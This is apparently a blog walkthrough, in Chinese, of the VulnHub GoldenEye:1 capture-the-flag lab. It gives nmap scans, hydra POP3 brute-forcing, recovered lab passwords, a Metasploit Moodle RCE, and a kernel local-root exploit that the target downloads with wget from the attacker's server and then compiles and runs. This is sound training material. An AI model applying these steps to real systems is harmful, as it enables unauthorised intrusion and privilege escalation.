GoldenEye打靶思路
前言:
好久没打靶了,决定开始练习打靶技巧。
准备:
靶机地址:GoldenEye:1 ~ VulnHub — GoldenEye: 1 ~ VulnHub
下载镜像,从Vm打开,给靶机设为NAT模式
开打:
主机发现:
扫描kali下的整个c段,可以用老方法,先关闭靶机扫一次,再开启扫一次,多的就是靶机
sudo nmap -sn 192.168.200.128/24
发现目标靶机地址:192.168.200.134
访问一下看看
没问题
端口扫描:
sudo nmap -min-rate 10000 192.168.200.134
可以看出开放了25端口和80端口
进一步扫描这几个端口
sudo nmap -sT -sV -sC -O -p25,80 192.168.200.134
扫一下这两个端口有没有可用的漏洞
sudo nmap --script=vuln -p25,80 192.168.200.134
Web渗透
先看80端口吧
就是我们之前访问的地址,全英文,有点难看,直接开沉浸式翻译看一下
访问/sev-home/有一个登录框
弱密码爆不出
我们查看主页有没有信息泄露,有一个terminal.js,看看有什么
沉浸式翻译一下
可以发现这一有一段话,人名有两个,一个是Boris,另一个为Natalya。
密码为InvincibleHack3r
用HTML编码解码可以得到
不过我用沉浸式翻译在翻译的时候好像自己给解码了,密码为InvincibleHack3r。
用得到的用户名和密码区登录试一试,这两个都不行,然后试试全小写的,boris用户登录成功
看意思是说我们需要使用pop3服务,但是他没有使用默认的110端口运行,我们先找到他们把pop3服务配置到哪里了。
之前没有扫描全部的端口,我们现在进行全端口扫描
sudo nmap -p- 192.168.200.134
发现两个新端口55006和55007
查看这两个端口的详细信息
nmap -sS -sV -T5 -A -p55006,55007 192.168.200.134
-sS :使用nmap的 SYN 扫描
-sV :使用nmap的 服务版本 检测
-T :nmap的扫描速度 1-5个级别
-A:启用高级扫描选项
可以看到就是这两个端口支持pop3服务
在查看网页的源代码时我们还发现了一段话
Qualified GoldenEye Network Operator Supervisors: Natalya Boris
也就是说用户名还是这两个
pop3
将用户名写入文本中
echo -e 'natalya\nboris' > pop3User.txt
使用hydra爆破密码
hydra -L pop3User.txt -P /usr/share/wordlists/fasttrack.txt 192.168.200.134 -s 55007 pop3
等待几分钟
爆破出natalya的密码为bird,boris的密码为secret1!
先登录一个看看
nc 192.168.200.134 55007
连接邮箱
user boris
用户名
pass secret1!
密码
登录成功
用list
可以查看邮件数量
分别使用retr 1~3
可以查看邮件内容
分别翻译一下
第二封是natalya发来的
第三封邮件出现一个人名Xenia,并且知道对方把GoldenEye的最终代码藏在服务器根目录的隐藏文件中
查看另一个人的邮箱
分别翻译一下
又有用户为Xenia的密码,尝试登录查看邮件发现登录失败,爆破密码也失败。
继续Web渗透
尝试按照邮件配置本地域名解析
sudo vim /etc/hosts
在最后添加一行
192.168.200.134 severnaya-station.com
在kali中的火狐里访问 :http://severnaya-station.com/gnocertdir/
点击Intro to GoldenEye
用之前给的用户名和密码登录试试
成功登录Xenia用户
查看Message,有一条未读信息
查看信息内容
翻译一下
得到一个新的邮件名doak
回到pop3
尝试爆破密码
成功爆出密码为goat
依旧登录查看邮件
翻译一下
回到Web
登录这个账号密码
点击My home,发现右上角有一个隐藏文件
下载s3cret.txt
打开内容直接翻译一下
给了一个图片路径,可能里面有admin用户的密码,大概这个意思。
访问一下
picked up a left access key ,估计密码就在其中,可能是图片隐写。
用strings查看图片中的字符串
strings命令 在对象文件或二进制文件中查找可打印的字符串。字符串是4个或更多可打印字符的任意序列,以换行符或空字符结束。
发现一串base64编码的字符 eFdpbnRlcjE5OTV4IQ==
在线解密
密码为xWinter1995x!
登录admin用户
可以发现这个管理系统名为Moodle,版本为2.2.3
去搜索历史漏洞可以发现存在rce
getshell
上msf
1 |
|
1为我们需要的
1 |
|
此时遇到问题,有一个failed,并且别人没碰到过
解决方法参考:Metasploit(msf)
只需更新msf即可
1 |
|
再打一次,正常了
还是报错,因为还有页面的配置需要修改,默认使用的是Google Spell,改为PSpellshell,并且save changes
再打一次
成功了
或者可以试试手打exp:Moodle - Remote Command Execution (Metasploit) - Linux remote Exploit
shell
没权限
提权
使用内核提权,uname -a
查看系统版本
我们查看上exploit-db.com寻找一下
用第二个
weget下载下来,并且gcc编译
没有gcc说是,那我们改用cc吧
cc 是 Unix系统的 C Compiler,一个是古老的 C 编译器。而 Linux 下 cc 一般是一个符号连接,指向 gcc;可以通过 $ ls -l /usr/bin/cc 来简单察看,该变量是 make 程序的内建变量,默认指向 gcc 。 cc 符号链接和变量存在的意义在于源码的移植性,可以方便的用 gcc 来编译老的用cc编译的Unix软件,甚至连 makefile 都不用改在,而且也便于 Linux 程序在 Unix下 编译。
c代码我们也需要修改,因为里面也有gcc
先在kali里面修改一下先,重命名exp.c
在kali当前目录上起个python服务
靶机上wget一下
wget http://192.168.200.128:8081/exp.c
cc编译一下
cc -o exp exp.c
chmod赋权
chmod +x exp
执行exp
./exp
id查看权限
执行命令
ls /root/.*
可以发现flag.txt
cat /root/.flag.txt
得到一个uri,访问就结束了
这张图片应该是1995电影007黄金之眼的
剧情
此外还有一串md5:568628e0d993b1973adc718237da6e93
解出来是006
总结
感受
一个很有意思的中等难度靶机
收获
学会了hydra(九头蛇)爆破pop3,以及pop3中的user,pass,list,retr命令
图片隐写,通过strings命令查看隐藏字符串
Moodle 2.2.3的getshell,不过还是没了解原理,比如为什么改配置为PSpellshell
linux 3.13.0的提权的方法原理参考:CVE-2015-1328 Ubuntu 12.04, 14.04, 14.10, 15.04 overlayfs Local Root - 郑瀚 - 博客园
不存在gcc时使用cc编译c代码